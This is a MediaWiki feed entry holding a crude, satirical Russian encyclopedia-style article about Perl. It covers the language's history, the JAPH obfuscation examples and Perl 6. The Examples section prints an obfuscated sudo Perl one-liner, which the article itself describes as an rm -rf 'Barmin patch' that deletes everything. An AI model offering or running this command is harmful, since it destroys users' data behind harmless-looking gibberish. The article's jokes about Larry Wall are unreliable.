<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=Perl</id>
	<title>Perl - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=Perl"/>
	<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=Perl&amp;action=history"/>
	<updated>2026-11-03T05:32:36Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://t8.lbstr.eu/index.php?title=Perl&amp;diff=3807&amp;oldid=prev</id>
		<title>127.0.0.1: /* Perl 6 */</title>
		<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=Perl&amp;diff=3807&amp;oldid=prev"/>
		<updated>2019-12-16T18:16:26Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;Perl 6&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Q|w=80%|Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть}}&lt;br /&gt;
{{Q|w=80%|PHP — это маленькое зло, созданное некомпетентными новичками, в то время как Perl — это большое и коварное зло, созданное умелыми, но извращёнными профессионалами.|Jon Ribbens}}&lt;br /&gt;
&lt;br /&gt;
[[Файл:Perl.jpg|thumb]]&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Perl&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;Перл&amp;#039;&amp;#039;, тж. &amp;#039;&amp;#039;Пёрл&amp;#039;&amp;#039;, [[Быдлокодер|быдл.]] &amp;#039;&amp;#039;Перловка&amp;#039;&amp;#039;) — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из [[Regexp|^регэкспов$]] чуть менее, чем полностью, и это так и было задумано: код скрипта — обёртка над ними. Собственно Perl и является родителем современнных регэкспов — они так и называются, &amp;#039;&amp;#039;&amp;#039;PCRE&amp;#039;&amp;#039;&amp;#039; ({{lang-en|Perl-compatible regular expressions}}).&lt;br /&gt;
&lt;br /&gt;
Замысел Ларри Уолла соответствует идеям, заложенным в [[Unix]]: данные попадают в stdin, пробегают через код и регекспы, и отгружаются в stdout. Казалось бы, &amp;lt;code&amp;gt;&amp;lt;span style=&amp;quot;color:navy; font-size:12px&amp;quot;&amp;gt;^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$&amp;lt;/span&amp;gt;&amp;lt;/code&amp;gt;…&lt;br /&gt;
&lt;br /&gt;
== История ==&lt;br /&gt;
{{Q|w=80%|Перл — 1) сокровище, драгоценность, нечто выдающееся в ряду подобных (перл создания) 2) нечто нелепое, смешное, бессмысленное, в частности нелепое высказывание|из песни слов не выкинешь, Педивикия однако!}}&lt;br /&gt;
&lt;br /&gt;
Жил-был один веселый наркоман по имени Ларри Уолл. Жил — не тужил, курил козье дерьмо и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Забил свою трубку козьим калом, затянулся этот мэн и обозвал свое детище — Perl&amp;#039;ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык для извлечения &amp;lt;del&amp;gt;неведомой ебаной хуиты&amp;lt;/del&amp;gt; данных и составления отчетов), некоторые извращенцы (сам автор по «man perl») называют его Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер), более точный перевод Патологический разгребатель перемешанного мусора.&lt;br /&gt;
&lt;br /&gt;
В [[эта страна|Рашке]] также называется &amp;#039;&amp;#039;ПЕРДЛ&amp;#039;&amp;#039;, что расшифровывается от [[китайский код|китайского]] «&amp;#039;&amp;#039;&amp;#039;П&amp;#039;&amp;#039;&amp;#039;очему &amp;#039;&amp;#039;&amp;#039;Е&amp;#039;&amp;#039;&amp;#039;сли &amp;#039;&amp;#039;&amp;#039;Р&amp;#039;&amp;#039;&amp;#039;аботает &amp;#039;&amp;#039;&amp;#039;Д&amp;#039;&amp;#039;&amp;#039;елать &amp;#039;&amp;#039;&amp;#039;Л&amp;#039;&amp;#039;&amp;#039;учше», или, как говаривал, бывало, [[Мао|Дэн Сяопин]], «Неважно, какого цвета [[котэ|кошка]], лишь бы она ловила мышей».&lt;br /&gt;
&lt;br /&gt;
[http://cpan.org/scripts/index.html Отлично подходит] для нужд бородатых [[одмин]]ов и [[кулхацкер]]ов. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что больно хитрожопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко &amp;gt; вывод-сюда.csv 2&amp;gt; ошибки-туда.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его и разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, [[ну ты понел]]. В этом качестве Перл полезен, удобен и прекрасен, а писать такие скрипты на нём — [[Ли Вонг Ян|прельстиво и тепло]]. В качестве среды разработки и выполнения web-скриптов он малопригоден и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.&lt;br /&gt;
&lt;br /&gt;
== Философия ==&lt;br /&gt;
&lt;br /&gt;
=== Корабль пустыни ===&lt;br /&gt;
[[Файл:PerlCamel.jpg|thumb|Да, это он — Корабль пустыни]]&lt;br /&gt;
Афоризм, лежащий в основе Дао Perl’а, — TMTOWTDI — «There’s more than one way to do it» — «Есть более одного способа сделать это» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и пушистой [[Python|змэйкой]], так же эффективно выполняя тот же байт-код, оформленный более читаемо для питонщиков и иже с ними, ибо.&lt;br /&gt;
&lt;br /&gt;
[[Маскот]]ом Перла является верблюд с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl». Неприхотлив, вынослив, благонадёжен. Любит сигареты Camel и шоколадки Picnic.&lt;br /&gt;
&lt;br /&gt;
Может и оплевать, если захочет.&lt;br /&gt;
&lt;br /&gt;
=== Стереотипы ===&lt;br /&gt;
До создания еретического [[PHP|Пыха]] был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуиты) для быдлохоумпаг всяких [[Вася Пупкин|Вась Пупкиных]], не ведавших не то что про ООП, но даже про модуль CGI, и извлекавших переменные напрямую «руками» из QUERY_STRING&amp;lt;ref&amp;gt;Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные [[быдлокодер]]ами, кроме своей хоумпаги ничего не писавшими.&amp;lt;/ref&amp;gt;. Особой мерзостью были зачислители платежей и биллинговые системы… которые до вас переписывали и после вас будут переписывать ещё 50 тысяч раз.&lt;br /&gt;
&lt;br /&gt;
Так что ещё лет {{#expr:{{CURRENTYEAR}}-2001}} тому назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.&lt;br /&gt;
&lt;br /&gt;
== Примеры ==&lt;br /&gt;
&lt;br /&gt;
Пример типичной программы на Perl.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$&amp;quot;,$;,$^,$#,$~,$*,$:,@%)=(&lt;br /&gt;
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$&amp;quot;),$=++;$.++;$.++;&lt;br /&gt;
$_++;$_++;($_,$\,$,)=($~.$&amp;quot;.&amp;quot;$;$/$%[$?]$_$\$,$:$%[$?]&amp;quot;,$&amp;quot;&amp;amp;$~,$#,);$,++&lt;br /&gt;
;$,++;$^|=$&amp;quot;;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$&amp;quot;$^$~$*.&amp;gt;&amp;amp;$=`&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Очевидно]], что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «[[Hello, world!]]».&lt;br /&gt;
&lt;br /&gt;
Однако если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
print &amp;quot;Just another Perl hacker.\n&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
                                           $_=&amp;#039;ev&lt;br /&gt;
                                       al(&amp;quot;seek\040D&lt;br /&gt;
           ATA,0,                  0;&amp;quot;);foreach(1..3)&lt;br /&gt;
       {&amp;lt;DATA&amp;gt;;}my               @camel1hump;my$camel;&lt;br /&gt;
  my$Camel  ;while(             &amp;lt;DATA&amp;gt;){$_=sprintf(&amp;quot;%-6&lt;br /&gt;
9s&amp;quot;,$_);my@dromedary           1=split(//);if(defined($&lt;br /&gt;
_=&amp;lt;DATA&amp;gt;)){@camel1hum        p=split(//);}while(@dromeda&lt;br /&gt;
 ry1){my$camel1hump=0      ;my$CAMEL=3;if(defined($_=shif&lt;br /&gt;
        t(@dromedary1    ))&amp;amp;&amp;amp;/\S/){$camel1hump+=1&amp;lt;&amp;lt;$CAMEL;}&lt;br /&gt;
       $CAMEL--;if(d   efined($_=shift(@dromedary1))&amp;amp;&amp;amp;/\S/){&lt;br /&gt;
      $camel1hump+=1  &amp;lt;&amp;lt;$CAMEL;}$CAMEL--;if(defined($_=shift(&lt;br /&gt;
     @camel1hump))&amp;amp;&amp;amp;/\S/){$camel1hump+=1&amp;lt;&amp;lt;$CAMEL;}$CAMEL--;if(&lt;br /&gt;
     defined($_=shift(@camel1hump))&amp;amp;&amp;amp;/\S/){$camel1hump+=1&amp;lt;&amp;lt;$CAME&lt;br /&gt;
     L;;}$camel.=(split(//,&amp;quot;\040..m`{/J\047\134}L^7FX&amp;quot;))[$camel1h&lt;br /&gt;
      ump];}$camel.=&amp;quot;\n&amp;quot;;}@camel1hump=split(/\n/,$camel);foreach(@&lt;br /&gt;
      camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\&lt;br /&gt;
      064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;&lt;br /&gt;
       print&amp;quot;$_\040$Camel\n&amp;quot;;}foreach(@camel1hump){chomp;$Camel=$_;y&lt;br /&gt;
        /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;&lt;br /&gt;
         $_=reverse;print&amp;quot;\040$_$Camel\n&amp;quot;;}&amp;#039;;;s/\s*//g;;eval;   eval&lt;br /&gt;
           (&amp;quot;seek\040DATA,0,0;&amp;quot;);undef$/;$_=&amp;lt;DATA&amp;gt;;s/\s*//g;(   );;s&lt;br /&gt;
             ;^.*_;;;map{eval&amp;quot;print\&amp;quot;$_\&amp;quot;&amp;quot;;}/.{4}/g; __DATA__   \124&lt;br /&gt;
               \1   50\145\040\165\163\145\040\157\1 46\040\1  41\0&lt;br /&gt;
                    40\143\141  \155\145\1 54\040\1   51\155\  141&lt;br /&gt;
                    \147\145\0  40\151\156 \040\141    \163\16 3\&lt;br /&gt;
                     157\143\   151\141\16  4\151\1     57\156&lt;br /&gt;
                     \040\167  \151\164\1   50\040\      120\1&lt;br /&gt;
                     45\162\   154\040\15    1\163\      040\14&lt;br /&gt;
                     1\040\1   64\162\1      41\144       \145\&lt;br /&gt;
                     155\14    1\162\       153\04        0\157&lt;br /&gt;
                      \146\     040\11     7\047\         122\1&lt;br /&gt;
                      45\15      1\154\1  54\171          \040&lt;br /&gt;
                      \046\         012\101\16            3\16&lt;br /&gt;
                      3\15           7\143\15             1\14&lt;br /&gt;
                      1\16            4\145\163           \054&lt;br /&gt;
                     \040            \111\156\14         3\056&lt;br /&gt;
                    \040\         125\163\145\14         4\040\&lt;br /&gt;
                    167\1        51\164\1  50\0         40\160\&lt;br /&gt;
                  145\162                              \155\151&lt;br /&gt;
                \163\163                                \151\1&lt;br /&gt;
              57\156\056&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.cpan.org/misc/japh Ещё куча подобных примеров]&lt;br /&gt;
&lt;br /&gt;
Существует другая популярная программа на Перле, реализующая [[rm -rf|патч Бармина]]. {{Spoiler|Предназначена для удаления всего, что сможет удалить.}} и если вы её уже запустили, то вас совсем не жаль. Вот [http://linuxhacker.ru/~shaman/perl-one.html применение].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;test... test... test...&amp;quot; | sudo perl -e &amp;#039;$??s:;s:s;;$?::s;;=]=&amp;gt;%-{&amp;lt;-|}&lt;br /&gt;
&amp;lt;&amp;amp;|`{;;y; -/:-@[-`{-};`-{/&amp;quot; -;;s;;$_;see&amp;#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Некоторые особенности языка ==&lt;br /&gt;
&lt;br /&gt;
* Программы на Perl могут писаться на любых языках, например, на [http://search.cpan.org/~dconway/Lingua-Romana-Perligata-0.50/lib/Lingua/Romana/Perligata.pm латыни] или [http://search.cpan.org/~rcaputo/Acme-Phlegethoth-1.05/lib/Acme/Phlegethoth.pm языке] [[Ктулху|Древних]]. О написаніи программъ въ [[Мицгол|орѳографіи образца 1916-аго года]] покамѣстъ свѣдѣній нѣтъ.&lt;br /&gt;
* Perl — один из немногих языков c [http://search.cpan.org/~lembark/Quantum-Superpositions-2.02/lib/Quantum/Superpositions.pm поддержкой] [[:w:Квантовый компьютер|квантового исчисления]].&lt;br /&gt;
* &amp;lt;del&amp;gt;Perl — единственный язык, вид программы на котором не меняется после [[ююк]]анья.&amp;lt;/del&amp;gt;&lt;br /&gt;
* [http://learn.perl.org/faq/perlfaq7.html Не описывается BNF]&lt;br /&gt;
* Многие скрипты [[генту]]шного portage написаны именно на нём. Местный пёрдл — это просто поле из граблей с автоподзаводом, он периодически выдает ошибки на ровном месте и прерывает компиляцию мира. Специально для борьбы с этим явлением злые гентушнеги придумали команду perl-cleaner.&lt;br /&gt;
&lt;br /&gt;
== Perl 6 ==&lt;br /&gt;
&lt;br /&gt;
Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде &amp;lt;del&amp;gt;[[Сферический конь в вакууме|сферического в вакууме]]&amp;lt;/del&amp;gt; стандарта и допускает существование нескольких реализаций. Впервые про Него мир узнал в 2000 году и с переменным успехом знакомится и по сей день.&lt;br /&gt;
&lt;br /&gt;
Наиболее полная реализация Perl 6 на данный момент — [http://rakudo.org/ Rakudo], под [http://www.moarvm.org/ MoarVM]. Также есть пока неполная поддержка [[Java|JVM]].&lt;br /&gt;
&lt;br /&gt;
Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют собой ничего серьезного.&lt;br /&gt;
&lt;br /&gt;
Дао Perl 6:&lt;br /&gt;
&lt;br /&gt;
# Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.&lt;br /&gt;
# Всегда есть &amp;lt;u&amp;gt;бесконечное&amp;lt;/u&amp;gt; количество &amp;lt;u&amp;gt;различных&amp;lt;/u&amp;gt; способов сделать &amp;#039;&amp;#039;это&amp;#039;&amp;#039;.&lt;br /&gt;
# Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.&lt;br /&gt;
# Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц-фильтры с помощью регулярных выражений, которые тоже можно перегружать.&lt;br /&gt;
# Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке&amp;lt;ref&amp;gt;Формальное [http://www.perlmonks.org/?node_id=663393 доказательство], что Перл нельзя распарсить&amp;lt;/ref&amp;gt;. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. [[Мы работаем над этим]]. Когда мы закончим, наступит Армагеддон (который тоже можно будет перегрузить).&lt;br /&gt;
&lt;br /&gt;
1;&lt;br /&gt;
&lt;br /&gt;
=== Свершилось ===&lt;br /&gt;
И спустя почти 15 лет наконец дождались! Ларри Уолл официально представил Perl 6. Для тех, кому Perl 5 был слишком прост в освоении, добавили [[Haskell|паттерн-матчинг и ленивые списки]] (а если серьёзно, то [[:en.w:Pugs_(programming)|первая реализация Perl 6]] была написана на [[Haskell]], что логично), творчески переосмыслили нафиг весь синтаксис, а возможность менять его как угодно сделали основной фичей языка. А вы думали рандомный набор символов, как синтаксически правильный перлокод — это просто такая шутка была?&lt;br /&gt;
&lt;br /&gt;
В результате получилось нечто весьма стрёмное. Адептов у сей поделки [[3,5 анонимуса|чуть более, чем нет]]: [[нуб|ньюфагов]] отпугивает охренительный порог входа и отсутствие вакансий, олдфаги негодуют от того, что сходство с пятеркой оканчивается на названии и повальной любви к регуляркам. В сухом остатке имеем еще один язык, который никому, кроме [[Гик|своих создателей]] нафиг [[Не нужен|не нужен]]. Что в определенной степени прискорбно: сил на него было потрачено немало, да и светлые идеи имеются в немалом количестве.&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
&lt;br /&gt;
* [http://www.peoples.ru/undertake/soft/larry_wall/ Биография Создателя]&lt;br /&gt;
* [http://dklab.ru/chicken/perl6/ Кое-что о Perl 6 от Лэрри Уолла]&lt;br /&gt;
* [http://2lx.ru/2011/01/sravnenie-perl-i-python-programmistov/ Сравнение Perl- и Python-программистов]&lt;br /&gt;
* [[Копипаста:Программирование#Пыхоплеяда|Пыхоплеяда]]&lt;br /&gt;
* [http://www.youtube.com/watch?v=-a7unnF48t0&amp;amp;feature=youtu.be&amp;amp;t=5m37s Про Perl и сексуальные предпочтения]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{ЛОР}}&lt;br /&gt;
{{Языки программирования}}&lt;br /&gt;
&lt;br /&gt;
[[w:Perl]]&lt;br /&gt;
[[en.w:Perl]]&lt;br /&gt;
[[ae:Perl]]&lt;/div&gt;</summary>
		<author><name>127.0.0.1</name></author>
	</entry>
</feed>